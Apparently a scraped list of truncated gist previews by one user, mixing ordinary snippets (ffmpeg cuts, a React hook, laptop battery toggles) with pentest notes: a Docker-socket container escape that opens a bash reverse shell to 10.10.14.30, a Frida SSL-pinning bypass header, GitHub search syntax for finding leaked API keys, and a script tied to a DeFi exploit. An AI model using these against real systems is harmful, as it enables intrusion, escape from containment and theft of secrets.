SanariSan

#!/bin/bash

# Useful for checking rtt to any sotname of interest.
# Since servers usually have balancers or dns balancing is in place it is helpful to test every ip.

IPS=$(host $1 | grep "has address" | awk '{ print $4 }')
REQ_AMOUNT=${2:-5}

# Loop through each IP address
for IP in $IPS; do

SanariSan

Cut video (possibly directly to mp4)

ffmpeg -ss 00:01:00 -to 00:02:00 -i ./in.mkv -c copy out.mkv

Cut external subs

ffmpeg -i in.srt -ss 01:00 -to 02:00 out.srt

SanariSan

import React from 'react';

/**
 * @param {string} storageKey
 * @param {*} initialState
 * @param {number} expiration
 */
export const useStateWithLocalStorage = (storageKey, initialState, expiration) => {
  const [value, setValue] = React.useState(() => {

SanariSan

#Check if Ideapad_laptop kernel module is loaded
lsmod | grep ideapad_laptop

# 1 on, 0 off
cat /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode

echo 1 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode
echo 0 | sudo tee /sys/bus/platform/drivers/ideapad_acpi/VPC2004:00/conservation_mode

SanariSan

#!/bin/bash

# you can see images availables with
# curl -s --unix-socket /var/run/docker.sock http://localhost/images/json
# here we have sandbox:latest

# command executed when container is started
# change dir to tmp where the root fs is mount and execute reverse shell

cmd="[\"/bin/sh\",\"-c\",\"chroot /tmp sh -c \\\"bash -c 'bash -i &>/dev/tcp/10.10.14.30/12348 0<&1'\\\"\"]"

SanariSan

console.log("[*] SSL Pinning Bypasses");
console.log(`[*] Your frida version: ${Frida.version}`);
console.log(`[*] Your script runtime: ${Script.runtime}`);

/**
 * by incogbyte
 * Common functions 
 * thx apkunpacker, NVISOsecurity, TheDauntless
 * Remember that sslpinning can be custom, and sometimes u need to reversing using ghidra,IDA or something like that.
 * !!! THIS SCRIPT IS NOT A SILVER BULLET !!

SanariSan

GitHub Search Syntax for Finding API Keys/Secrets/Tokens

As a security professional, it is important to conduct a thorough reconnaissance. With the increasing use of APIs nowadays, it has become paramount to keep access tokens and other API-related secrets secure in order to prevent leaks. However, despite technological advances, human error remains a factor, and many developers still unknowingly hardcode their API secrets into source code and commit them to public repositories. GitHub, being a widely popular platform for public code repositories, may inadvertently host such leaked secrets. To help identify these vulnerabilities, I have created a comprehensive search list using powerful search syntax that enables the search of thousands of leaked keys and secrets in a single search.

Search Syntax:

(path:*.{File_extension1} OR path:*.{File_extension-N}) AND ({Keyname1} OR {Keyname-N}) AND (({Signature/pattern1} OR {Signature/pattern-N}) AND ({PlatformTag1} OR {PlatformTag-N}))

Examples:

**1.

SanariSan

javascript: (function () {
  var text = document.body.innerText;
  var spl = text.split(" ");
  if (spl.length > 3000) {
    text = spl.slice(0, 3000).join(" ");
  }

  fetch('https://api.openai.com/v1/completions', {
    method: 'POST',
    headers: {

SanariSan

# ssh to server

# ---

# add new user

sudo adduser user
# sudo cp /etc/sudoers /etc/sudoers.bak
# echo "user ALL=(ALL) ALL" | sudo tee -a /etc/sudoers
# or

SanariSan

// Ex. $ npx ts-node BscRawTx.ts --txData=<txData>
// Consult: https://github.com/WP-LKL/bscValueDefi-Exploit, for python use-case
  
const Tx = require('ethereumjs-tx').Transaction;
const Web3 = require('web3');
import Common from 'ethereumjs-common';
import {parse} from 'ts-command-line-args';

interface input {
    txData: string;